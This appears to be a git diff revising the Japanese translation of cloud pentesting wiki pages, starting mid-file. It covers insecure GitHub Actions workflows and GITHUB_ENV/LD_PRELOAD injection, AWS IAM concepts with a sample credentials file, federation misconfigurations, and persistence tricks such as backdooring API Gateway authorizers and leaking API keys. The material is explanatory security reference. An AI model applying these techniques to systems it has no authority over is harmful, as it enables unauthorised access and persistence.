.png)
.png)
.png)
.png)
# INSECURE. Provided as an example only.
on:
@@ -269,26 +269,26 @@ message: |
Thank you!
-潜在的に **信頼できないコードは `npm install` または `npm build` の間に実行されます**。ビルドスクリプトと参照された **パッケージはPRの著者によって制御されています**。
+潜在的に**信頼できないコードは`npm install`または`npm build`の間に実行されます**。ビルドスクリプトと参照された**パッケージはPRの作者によって制御されています**。
> [!WARNING]
-> 脆弱なアクションを検索するためのGitHubドークは: `event.pull_request pull_request_target extension:yml` ですが、アクションが不適切に構成されていても、実行されるジョブを安全に構成する方法はいくつかあります(PRを生成するアクターが誰であるかに関する条件を使用するなど)。
+> 脆弱なアクションを検索するためのGitHubドークは:`event.pull_request pull_request_target extension:yml`ですが、アクションが不適切に構成されていても、ジョブを安全に実行するためのさまざまな方法があります(PRを生成するアクターについての条件を使用するなど)。
### コンテキストスクリプトインジェクション
-特定の [**GitHubコンテキスト**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) の値は、PRを作成する **ユーザー** によって **制御されている** ことに注意してください。GitHubアクションがその **データを使用して何かを実行する** 場合、**任意のコード実行** に繋がる可能性があります:
+特定の[**GitHubコンテキスト**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)の値は、PRを作成する**ユーザー**によって**制御されている**ことに注意してください。GitHubアクションがその**データを使用して何かを実行する**場合、**任意のコード実行**につながる可能性があります:
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
-### **GITHUB_ENV スクリプトインジェクション**
+### **GITHUB_ENVスクリプトインジェクション**
-ドキュメントによると: 環境変数を定義または更新し、これを **`GITHUB_ENV`** 環境ファイルに書き込むことで、ワークフロージョブの後続のステップで **環境変数を利用可能にする** ことができます。
+ドキュメントによると:環境変数を定義または更新し、これを**`GITHUB_ENV`**環境ファイルに書き込むことで、ワークフロージョブの後続のステップで**環境変数を利用可能にする**ことができます。
-攻撃者がこの **env** 変数内に **任意の値を注入** できる場合、**LD_PRELOAD** や **NODE_OPTIONS** のようなコードを実行する環境変数を注入することができます。
+攻撃者がこの**env**変数内に**任意の値を注入**できる場合、**LD_PRELOAD**や**NODE_OPTIONS**などのコードを実行する環境変数を注入することができます。
-例えば ([**これ**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) と [**これ**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project))、アップロードされたアーティファクトを信頼してその内容を **`GITHUB_ENV`** 環境変数に保存するワークフローを想像してください。攻撃者はこれを妥協するために次のようなものをアップロードできます:
+例えば、([**これ**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0)と[**これ**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project))、アップロードされたアーティファクトを信頼してその内容を**`GITHUB_ENV`**環境変数に格納するワークフローを想像してください。攻撃者は、これを妥協するために次のようなものをアップロードすることができます:
.png)
.png)
.png)
 (1) (1) (1) (1) (1).png)
.png)
```
-As [**ここに記載されているように**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)、**MFAを使用できない**さまざまなケースがあります。
+以下の内容は、AWSにおけるMFAの使用に関する情報です。
+
+As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)、**MFAを使用できない**さまざまなケースがあります。
### [IAMユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
-IAM [ユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)は、**複数のユーザーにポリシーを一度に適用する**方法であり、これによりそれらのユーザーの権限を管理しやすくなります。**ロールとグループはグループの一部にはなれません**。
+IAM [ユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)は、**複数のユーザーにポリシーを一度にアタッチする**方法であり、これによりそれらのユーザーの権限を管理しやすくなります。**ロールとグループはグループの一部にはなれません**。
-**ユーザーグループにアイデンティティベースのポリシーを適用する**ことで、ユーザーグループ内のすべての**ユーザー**が**ポリシーの権限を受け取る**ことができます。**ユーザーグループ**を**ポリシー**(リソースベースのポリシーなど)内の**`Principal`**として特定することは**できません**。なぜなら、グループは権限に関連し、認証には関連しないため、プリンシパルは認証されたIAMエンティティだからです。
+**ユーザーグループにアイデンティティベースのポリシーをアタッチ**することで、ユーザーグループ内のすべての**ユーザー**が**ポリシーの権限を受け取ります**。**ユーザーグループ**を**ポリシー**(リソースベースのポリシーなど)内の**`Principal`**として特定することは**できません**。なぜなら、グループは権限に関連し、認証には関連しないため、プリンシパルは認証されたIAMエンティティだからです。
-ユーザーグループのいくつかの重要な特徴は次のとおりです:
+ユーザーグループの重要な特徴は以下の通りです:
-- ユーザー**グループ**は**多くのユーザーを含むことができ**、**ユーザー**は**複数のグループに属することができ**ます。
+- ユーザー**グループ**は**多くのユーザーを含むことができ**、**ユーザー**は**複数のグループに属することができます**。
- **ユーザーグループはネストできません**。ユーザーのみを含むことができ、他のユーザーグループは含められません。
-- **すべてのユーザーを自動的に含むデフォルトのユーザーグループはAWSアカウントには存在しません**。そのようなユーザーグループを持ちたい場合は、自分で作成し、新しいユーザーをそれに割り当てる必要があります。
+- **AWSアカウント内のすべてのユーザーを自動的に含むデフォルトのユーザーグループはありません**。そのようなユーザーグループを持ちたい場合は、自分で作成し、新しいユーザーをそれに割り当てる必要があります。
- AWSアカウント内のIAMリソースの数とサイズ(グループの数や、ユーザーがメンバーになれるグループの数など)は制限されています。詳細については、[IAMおよびAWS STSのクォータ](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)を参照してください。
### [IAMロール](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-IAM **ロール**は**ユーザー**に非常に**似ており**、AWS内で**何ができるかを決定する権限ポリシーを持つアイデンティティ**です。しかし、ロールには**関連付けられた資格情報**(パスワードやアクセスキー)が**ありません**。特定の人に一意に関連付けられるのではなく、ロールは**必要な人(十分な権限を持つ人)が引き受けることを意図しています**。IAMユーザーは、特定のタスクのために一時的に異なる権限を取得するためにロールを**引き受けることができます**。ロールは、IAMの代わりに外部アイデンティティプロバイダーを使用してサインインする[**フェデレーテッドユーザー**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)に**割り当てることができます**。
+IAM **ロール**は**ユーザー**に非常に**似ています**。それは、AWSで何ができるかを決定する**権限ポリシーを持つアイデンティティ**です。しかし、ロールには**関連付けられた資格情報**(パスワードやアクセスキー)が**ありません**。ロールは特定の人に一意に関連付けられるのではなく、**必要な人が誰でも引き受けられることを意図しています(十分な権限がある場合)**。**IAMユーザーはロールを引き受けて、一時的に**特定のタスクのために異なる権限を持つことができます。ロールは、IAMではなく外部アイデンティティプロバイダーを使用してサインインする[**フェデレーテッドユーザー**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)に**割り当てることができます**。
-IAMロールは**2種類のポリシー**で構成されています:**信頼ポリシー**(空であってはならず、**誰がロールを引き受けることができるかを定義**)と、**権限ポリシー**(空であってはならず、**何にアクセスできるかを定義**)。
+IAMロールは、**2種類のポリシー**で構成されています:**信頼ポリシー**(空であってはならず、**誰がロールを引き受けることができるかを定義**)と、**権限ポリシー**(空であってはならず、**何にアクセスできるかを定義**)。
#### AWSセキュリティトークンサービス(STS)
-AWSセキュリティトークンサービス(STS)は、**一時的で制限された権限の資格情報を発行する**ためのウェブサービスです。これは特に次の目的に特化しています:
+AWSセキュリティトークンサービス(STS)は、**一時的で制限された権限の資格情報を発行する**ためのウェブサービスです。これは特に以下の目的に特化しています:
### [IAMにおける一時的な資格情報](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-**一時的な資格情報は主にIAMロールと共に使用されます**が、他の用途もあります。標準のIAMユーザーよりも制限された権限セットを持つ一時的な資格情報を要求できます。これにより、**より制限された資格情報によって許可されていないタスクを誤って実行することを防ぎます**。一時的な資格情報の利点は、設定された期間の後に自動的に期限切れになることです。資格情報が有効な期間を制御できます。
+**一時的な資格情報は主にIAMロールと共に使用されます**が、他の用途もあります。標準のIAMユーザーよりも制限された権限セットを持つ一時的な資格情報をリクエストできます。これにより、**制限された資格情報によって許可されていないタスクを誤って実行することを防ぎます**。一時的な資格情報の利点は、設定された期間の後に自動的に期限切れになることです。資格情報が有効な期間を制御できます。
### ポリシー
@@ -163,11 +165,11 @@ AWSセキュリティトークンサービス(STS)は、**一時的で制限
権限を割り当てるために使用されます。2種類あります:
-- AWS管理ポリシー(AWSによって事前構成されたもの)
-- カスタマー管理ポリシー:あなたが構成したもの。AWS管理ポリシーに基づいてポリシーを作成できます(そのうちの1つを修正して独自のものを作成する)、ポリシージェネレーターを使用する(権限を付与および拒否するのを助けるGUIビュー)または独自に作成することができます。
+- AWS管理ポリシー(AWSによって事前設定されたもの)
+- カスタマー管理ポリシー:あなたが設定したもの。AWS管理ポリシーに基づいてポリシーを作成できます(そのうちの1つを修正して自分のものを作成する)、ポリシージェネレーターを使用する(権限を付与および拒否するのを助けるGUIビュー)または自分で書くことができます。
-**デフォルトのアクセスは** **拒否されます**。明示的なロールが指定された場合にのみアクセスが許可されます。\
-**単一の「拒否」が存在する場合、それは「許可」を上書きします**。AWSアカウントのルートセキュリティ資格情報を使用するリクエスト(デフォルトで許可されている)は除きます。
+**デフォルトのアクセスは** **拒否**され、明示的なロールが指定された場合にのみアクセスが許可されます。\
+**単一の「拒否」が存在する場合、それは「許可」を上書きします**。ただし、AWSアカウントのルートセキュリティ資格情報を使用するリクエスト(デフォルトで許可されている)は除きます。
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -190,31 +192,31 @@ AWSセキュリティトークンサービス(STS)は、**一時的で制限
]
}
```
-The [グローバルフィールドは、任意のサービスで条件に使用できるものがここに文書化されています](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount)。\
-[特定のフィールドは、サービスごとに条件に使用できるものがここに文書化されています](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html)。
+[グローバルフィールドは、任意のサービスの条件に使用できることが文書化されています](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount)。\
+[サービスごとに条件に使用できる特定のフィールドはここに文書化されています](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html)。
#### インラインポリシー
-この種のポリシーは、**ユーザー、グループ、またはロールに直接割り当てられます**。そのため、他の誰かが使用できるようにポリシーリストには表示されません。\
-インラインポリシーは、ポリシーとそれが適用されるアイデンティティとの間に**厳密な1対1の関係を維持したい場合**に便利です。たとえば、ポリシー内の権限が意図されたアイデンティティ以外に誤って割り当てられないことを確認したい場合です。インラインポリシーを使用すると、ポリシー内の権限が誤って間違ったアイデンティティに添付されることはありません。さらに、AWS Management Consoleを使用してそのアイデンティティを削除すると、アイデンティティに埋め込まれたポリシーも削除されます。これは、それらが主エンティティの一部であるためです。
+この種のポリシーは**ユーザー、グループ、またはロールに直接割り当てられます**。そのため、他の誰も使用できるようにはポリシーリストに表示されません。\
+インラインポリシーは、**ポリシーと適用されるアイデンティティとの間に厳密な1対1の関係を維持したい場合**に便利です。たとえば、ポリシー内の権限が意図されたアイデンティティ以外に誤って割り当てられないことを確認したい場合です。インラインポリシーを使用すると、ポリシー内の権限が誤って間違ったアイデンティティに添付されることはありません。さらに、AWS Management Consoleを使用してそのアイデンティティを削除すると、アイデンティティに埋め込まれたポリシーも削除されます。これは、それらが主エンティティの一部であるためです。
#### リソースバケットポリシー
-これらは**リソース**に定義できる**ポリシー**です。**すべてのAWSリソースがそれをサポートしているわけではありません**。
+これらは**リソースに定義できるポリシー**です。**すべてのAWSリソースがそれをサポートしているわけではありません**。
もし主がそれらに対して明示的な拒否を持っておらず、リソースポリシーがアクセスを許可している場合、彼らは許可されます。
### IAMバウンダリー
-IAMバウンダリーは、**ユーザーまたはロールがアクセスできる権限を制限するために使用できます**。このように、異なるポリシーによってユーザーに異なる権限が付与されても、彼がそれらを使用しようとすると操作は**失敗**します。
+IAMバウンダリーは、**ユーザーまたはロールがアクセスできる権限を制限するために使用できます**。このように、異なるポリシーによってユーザーに異なる権限が付与されても、操作は**失敗**します。
バウンダリーは、ユーザーに添付されたポリシーであり、**ユーザーまたはロールが持つことができる最大の権限レベルを示します**。したがって、**ユーザーが管理者アクセスを持っていても**、バウンダリーが彼がS·バケットを読むことしかできないと示している場合、それが彼ができる最大のことです。
-**これ**、**SCP**、および**最小特権の原則に従うこと**は、ユーザーが必要な権限以上の権限を持たないように制御する方法です。
+**これ**、**SCP**および**最小特権の原則に従うこと**は、ユーザーが必要な権限以上の権限を持たないように制御する方法です。
### セッションポリシー
-セッションポリシーは、**ロールが引き受けられたときに設定されるポリシー**です。これは、そのセッションの**IAMバウンダリーのようなもの**になります:これは、セッションポリシーが権限を付与するのではなく、**ポリシーに示された権限に制限することを意味します**(最大の権限はロールが持つものです)。
+セッションポリシーは、**ロールが引き受けられたときに設定されるポリシー**です。これは、そのセッションの**IAMバウンダリーのようなもの**です:これは、セッションポリシーが権限を付与するのではなく、**ポリシーに示された権限に制限することを意味します**(最大の権限はロールが持つものです)。
これは**セキュリティ対策**に役立ちます:管理者が非常に特権のあるロールを引き受ける場合、セッションが侵害された場合に備えて、セッションポリシーに示された権限のみを制限することができます。
```bash
@@ -224,18 +226,18 @@ aws sts assume-role \
[--policy-arns ]
[--policy ]
```
-注意してください、デフォルトでは**AWSはセッションにセッションポリシーを追加する可能性があります**。これは第三者の理由によって生成されるセッションに対してです。例えば、[認証されていないCognitoの仮定されたロール](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)では、デフォルト(強化された認証を使用)で、AWSは**セッションポリシーを持つセッション資格情報**を生成し、そのセッションがアクセスできるサービスを[**次のリストに制限します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。
+注意として、デフォルトでは**AWSはセッションにセッションポリシーを追加する可能性があります**。これは、他の理由から生成されるセッションに対してです。例えば、[認証されていないCognitoの仮定されたロール](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)では、デフォルトで(強化された認証を使用して)、AWSは**セッションポリシーを持つセッション資格情報**を生成し、そのセッションがアクセスできるサービスを[**次のリストに制限します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。
-したがって、ある時点で「...セッションポリシーが許可していないため...」というエラーに直面した場合、ロールがアクションを実行するアクセス権を持っていても、**それを妨げるセッションポリシーが存在する**ためです。
+したがって、ある時点で「...セッションポリシーが許可していないため...」というエラーに直面した場合、ロールがアクションを実行するアクセス権を持っていても、**それを妨げるセッションポリシーが存在する**ということです。
### アイデンティティフェデレーション
-アイデンティティフェデレーションは、**AWSに外部のアイデンティティプロバイダーからのユーザー**がAWSリソースに安全にアクセスできるようにし、正当なIAMユーザーアカウントのAWSユーザー資格情報を提供する必要がありません。\
+アイデンティティフェデレーションは、**AWSに外部のアイデンティティプロバイダーからのユーザー**がAWSリソースに安全にアクセスできるようにします。これにより、正当なIAMユーザーアカウントからAWSユーザー資格情報を提供する必要がなくなります。\
アイデンティティプロバイダーの例としては、独自の企業の**Microsoft Active Directory**(**SAML**経由)や**OpenID**サービス(**Google**など)があります。フェデレーテッドアクセスにより、その中のユーザーがAWSにアクセスできるようになります。
-この信頼を構成するために、**IAMアイデンティティプロバイダー(SAMLまたはOAuth)が生成され**、**他のプラットフォームを信頼する**ことになります。次に、少なくとも1つの**IAMロールがアイデンティティプロバイダーに(信頼される)割り当てられます**。信頼されたプラットフォームのユーザーがAWSにアクセスすると、彼は前述のロールとしてアクセスします。
+この信頼を構成するために、**IAMアイデンティティプロバイダー(SAMLまたはOAuth)が生成され**、**他のプラットフォームを信頼する**ことになります。そして、少なくとも1つの**IAMロールがアイデンティティプロバイダーに(信頼される)割り当てられます**。信頼されたプラットフォームのユーザーがAWSにアクセスすると、彼は前述のロールとしてアクセスします。
-ただし、通常は**サードパーティプラットフォームのユーザーのグループに応じて異なるロールを与えたい**と思うでしょう。したがって、複数の**IAMロールがサードパーティのアイデンティティプロバイダーを信頼し**、サードパーティプラットフォームがユーザーにどのロールを引き受けるかを許可します。
+ただし、通常は**サードパーティプラットフォームのユーザーのグループに応じて異なるロールを与えたい**と思うでしょう。そのため、複数の**IAMロールがサードパーティのアイデンティティプロバイダーを信頼し**、サードパーティプラットフォームがユーザーにどのロールを引き受けるかを許可します。
.png)
@@ -243,7 +245,7 @@ aws sts assume-role \
AWS IAMアイデンティティセンター(AWSシングルサインオンの後継)は、AWSアイデンティティおよびアクセス管理(IAM)の機能を拡張し、**ユーザーとそのAWSアカウントおよびクラウドアプリケーションへのアクセスの管理を統合する**ための**中央の場所**を提供します。
-ログインドメインは`.awsapps.com`のようになります。
+ログインドメインは、`.awsapps.com`のようになります。
ユーザーをログインさせるために、使用できる3つのアイデンティティソースがあります:
@@ -253,28 +255,28 @@ AWS IAMアイデンティティセンター(AWSシングルサインオンの
.png)
-アイデンティティセンターディレクトリの最も単純なケースでは、**アイデンティティセンターはユーザーとグループのリストを持ち**、それらに**ポリシーを割り当てる**ことができ、**組織の任意のアカウント**に対して行います。
+アイデンティティセンターのディレクトリの最も単純なケースでは、**アイデンティティセンターはユーザーとグループのリストを持ち**、それらに**ポリシーを割り当てる**ことができ、**組織の任意のアカウント**に対して行います。
アイデンティティセンターのユーザー/グループにアカウントへのアクセスを与えるために、**アイデンティティセンターを信頼するSAMLアイデンティティプロバイダーが作成され**、**指定されたポリシーを持つアイデンティティプロバイダーを信頼するロールが宛先アカウントに作成されます**。
#### AwsSSOInlinePolicy
-**IAMアイデンティティセンターを介して作成されたロールにインラインポリシーを介して権限を与えることが可能です**。AWSアイデンティティセンターでインラインポリシーを持つアカウントで作成されたロールは、**`AwsSSOInlinePolicy`**というインラインポリシーでこれらの権限を持ちます。
+**IAMアイデンティティセンターを介して作成されたロールにインラインポリシーを通じて権限を与えることが可能です**。AWSアイデンティティセンターでインラインポリシーを持つアカウントで作成されたロールは、**`AwsSSOInlinePolicy`**というインラインポリシーでこれらの権限を持ちます。
したがって、**`AwsSSOInlinePolicy`**というインラインポリシーを持つ2つのロールが表示されても、**同じ権限を持っているわけではありません**。
### クロスアカウントの信頼とロール
-**ユーザー**(信頼する側)は、いくつかのポリシーを持つクロスアカウントロールを作成し、**別のユーザー**(信頼される側)に**自分のアカウントにアクセスすることを許可できますが、**新しいロールポリシーで示されたアクセスのみを持つことになります**。これを作成するには、新しいロールを作成し、クロスアカウントロールを選択します。クロスアカウントアクセス用のロールは2つのオプションを提供します。所有するAWSアカウント間でのアクセスを提供することと、所有するアカウントとサードパーティのAWSアカウント間でのアクセスを提供することです。\
+**ユーザー**(信頼する側)は、いくつかのポリシーを持つクロスアカウントロールを作成し、**別のユーザー**(信頼される側)に**自分のアカウントにアクセスを許可する**ことができますが、**新しいロールポリシーで示されたアクセスのみを持つ**ことになります。これを作成するには、新しいロールを作成し、クロスアカウントロールを選択します。クロスアカウントアクセス用のロールは2つのオプションを提供します。所有するAWSアカウント間でのアクセスを提供することと、所有するアカウントとサードパーティのAWSアカウント間でのアクセスを提供することです。\
信頼されるユーザーを**特定し、一般的なものを指定しないことをお勧めします**。そうしないと、フェデレーテッドユーザーのような他の認証されたユーザーもこの信頼を悪用できる可能性があります。
### AWS Simple AD
-サポートされていない:
+サポートされていないもの:
- 信頼関係
- AD管理センター
-- 完全なPS APIサポート
+- フルPS APIサポート
- ADリサイクルビン
- グループ管理サービスアカウント
- スキーマ拡張
@@ -286,10 +288,10 @@ AWS IAMアイデンティティセンター(AWSシングルサインオンの
### その他のIAMオプション
-- **パスワードポリシー設定**を設定することができ、最小長やパスワード要件などのオプションがあります。
-- **「資格情報レポート」をダウンロード**して、現在の資格情報に関する情報(ユーザー作成時間、パスワードが有効かどうかなど)を取得できます。資格情報レポートは、最長で**4時間ごと**に生成できます。
+- **パスワードポリシー設定**を設定することができます。最小長やパスワード要件などのオプションがあります。
+- **「資格情報レポート」をダウンロード**することができ、現在の資格情報に関する情報(ユーザー作成時間、パスワードが有効かどうかなど)を取得できます。資格情報レポートは、最長で**4時間ごと**に生成できます。
-AWSアイデンティティおよびアクセス管理(IAM)は、AWS全体で**細かいアクセス制御**を提供します。IAMを使用すると、**誰がどのサービスやリソースにアクセスできるか、どの条件下でアクセスできるかを指定できます**。IAMポリシーを使用して、労働力やシステムへの権限を管理し、**最小権限の権限を確保します**。
+AWSアイデンティティおよびアクセス管理(IAM)は、AWS全体で**細かいアクセス制御**を提供します。IAMを使用すると、**誰がどのサービスやリソースにアクセスできるか**、およびどの条件下でアクセスできるかを指定できます。IAMポリシーを使用して、労働力やシステムへの権限を管理し、**最小権限の権限を確保**します。
### IAM IDプレフィックス
@@ -307,7 +309,7 @@ AWSアイデンティティおよびアクセス管理(IAM)は、AWS全体
| APKA | 公開鍵 |
| AROA | ロール |
| ASCA | 証明書 |
-| ASIA | [一時的(AWS STS)アクセスキーID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)はこのプレフィックスを使用しますが、秘密アクセスキーとセッショントークンと組み合わせた場合にのみ一意です。 |
+| ASIA | [一時的(AWS STS)アクセスキーID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)はこのプレフィックスを使用しますが、秘密アクセスキーおよびセッショントークンと組み合わせた場合にのみ一意です。 |
### アカウントを監査するための推奨権限
@@ -327,7 +329,7 @@ AWSアイデンティティおよびアクセス管理(IAM)は、AWS全体
### CLI認証
通常のユーザーがCLIを介してAWSに認証するためには、**ローカル資格情報**が必要です。デフォルトでは、`~/.aws/credentials`に**手動で**設定するか、**`aws configure`を実行することで**構成できます。\
-そのファイルには複数のプロファイルを持つことができ、**プロファイル**が指定されていない場合、**そのファイルの`[default]`**と呼ばれるものが使用されます。\
+そのファイルには、1つ以上のプロファイルを持つことができ、**プロファイル**が指定されていない場合、**`[default]`**と呼ばれるものがそのファイルで使用されます。\
複数のプロファイルを持つ資格情報ファイルの例:
```
[default]
@@ -339,9 +341,9 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
-もし**異なるAWSアカウント**にアクセスする必要があり、あなたのプロファイルが**それらのアカウント内でロールを引き受ける**アクセスを与えられている場合、毎回手動でSTSを呼び出す必要はありません(`aws sts assume-role --role-arn --role-session-name sessname`)し、資格情報を設定する必要もありません。
+異なる **AWS アカウント** にアクセスする必要があり、あなたのプロファイルが **それらのアカウント内でロールを引き受ける** アクセスを与えられている場合、毎回手動で STS を呼び出す必要はありません (`aws sts assume-role --role-arn --role-session-name sessname`) と資格情報を設定する必要はありません。
-`~/.aws/config`ファイルを使用して[ **引き受けるロールを指定する**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)ことができ、その後は通常通り`--profile`パラメータを使用できます(`assume-role`はユーザーにとって透過的に実行されます)。\
+`~/.aws/config` ファイルを使用して[ **引き受けるロールを指定する**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)ことができ、その後は通常通り `--profile` パラメータを使用できます(`assume-role` はユーザーにとって透過的に実行されます)。\
設定ファイルの例:
```
[profile acc2]
@@ -351,11 +353,11 @@ role_session_name =
source_profile =
sts_regional_endpoints = regional
```
-この設定ファイルを使用すると、aws cliを次のように使用できます:
+この設定ファイルを使用すると、次のようにaws cliを使用できます:
```
aws --profile acc2 ...
```
-もしあなたが**ブラウザ**用の**類似**のものを探しているなら、**拡張機能**[**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)をチェックできます。
+ブラウザ用のこれに**似た**ものを探している場合は、**拡張機能** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) をチェックしてください。
## 参考文献
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 77bcc5c20..04cc291eb 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -10,7 +10,7 @@ SAMLに関する情報は以下を確認してください:
https://book.hacktricks.xyz/pentesting-web/saml-attacks
{{#endref}}
-**SAMLを通じたアイデンティティフェデレーション**を構成するには、**名前**とすべてのSAML構成(**エンドポイント**、**公開鍵**を含む**証明書**)を含む**メタデータXML**を提供するだけです。
+**SAMLを通じたアイデンティティフェデレーション**を構成するには、**名前**とすべてのSAML構成(**エンドポイント**、**公開鍵を含む証明書**)を含む**メタデータXML**を提供するだけです。
## OIDC - Github Actions Abuse
@@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
-**OIDCプロバイダー**を**EKS**クラスターで生成することは、クラスターの**OIDC URL**を**新しいOpen IDアイデンティティプロバイダー**として設定するだけで可能です。これは一般的なデフォルトポリシーです:
+**EKS** クラスターで **OIDC プロバイダー** を生成することは、クラスターの **OIDC URL** を **新しい Open ID アイデンティティプロバイダー** として設定するだけで可能です。これは一般的なデフォルトポリシーです:
```json
{
"Version": "2012-10-17",
@@ -108,7 +108,7 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve
]
}
```
-このポリシーは、**id** `20C159CDF6F2349B68846BEC03BE031B` を持つ **EKS クラスター** のみがロールを引き受けることができることを正しく示しています。しかし、どのサービスアカウントがそれを引き受けることができるかは示されていないため、**ウェブアイデンティティトークンを持つ任意のサービスアカウント** がロールを **引き受けることができる** ということになります。
+このポリシーは、**id** `20C159CDF6F2349B68846BEC03BE031B` を持つ **EKS クラスター** のみがロールを引き受けることができることを正しく示しています。しかし、どのサービスアカウントがそれを引き受けることができるかは示されていないため、**ウェブアイデンティティトークンを持つ任意のサービスアカウント** がロールを **引き受けることができる** ことになります。
**どのサービスアカウントがロールを引き受けることができるかを指定するためには、** **サービスアカウント名が指定される** **条件** を指定する必要があります。
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index f120594be..020a0ae7f 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -1,4 +1,4 @@
-# AWS - Permissions for a Pentest
+# AWS - Pentestのための権限
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index e4e7da054..efaa58d2d 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -10,21 +10,21 @@
../aws-services/aws-api-gateway-enum.md
{{#endref}}
-### リソースポリシー
+### Resource Policy
APIゲートウェイのリソースポリシーを変更して、自分にアクセス権を付与します。
-### Lambdaオーソライザーの変更
+### Modify Lambda Authorizers
-Lambdaオーソライザーのコードを変更して、すべてのエンドポイントへのアクセス権を付与します。\
+ラムダオーソライザーのコードを変更して、すべてのエンドポイントへのアクセス権を付与します。\
または、オーソライザーの使用を単に削除します。
-### IAM権限
+### IAM Permissions
リソースがIAMオーソライザーを使用している場合、IAM権限を変更して自分にアクセス権を付与できます。\
または、オーソライザーの使用を単に削除します。
-### APIキー
+### API Keys
APIキーが使用されている場合、持続性を維持するためにそれらを漏洩させるか、新しいものを作成できます。\
または、APIキーの使用を単に削除します。
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
index 0773a26c5..f26e30dba 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -18,10 +18,10 @@ Cognitoは、認証されていないユーザーと認証されたユーザー
- 認証されていないアイデンティティプールに**IAMロールを付与し、基本認証フローを許可する**
- 攻撃者がログインできる場合は**認証されたアイデンティティプール**に
- または与えられたロールの**権限を向上させる**
-- **ユーザープール**内の属性を制御されたユーザーまたは新しいユーザーを通じて**作成、検証、権限昇格**する
+- **属性を制御されたユーザーまたは新しいユーザーを作成、検証、権限昇格**する**ユーザープール**内で
- **外部アイデンティティプロバイダー**がユーザープールまたはアイデンティティプールにログインできるようにする
-これらのアクションを実行する方法を確認してください:
+これらのアクションを実行する方法を確認してください
{{#ref}}
../aws-privilege-escalation/aws-cognito-privesc.md
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index bfcdb5494..633036dac 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -12,7 +12,7 @@
### DynamoDB トリガーと Lambda バックドア
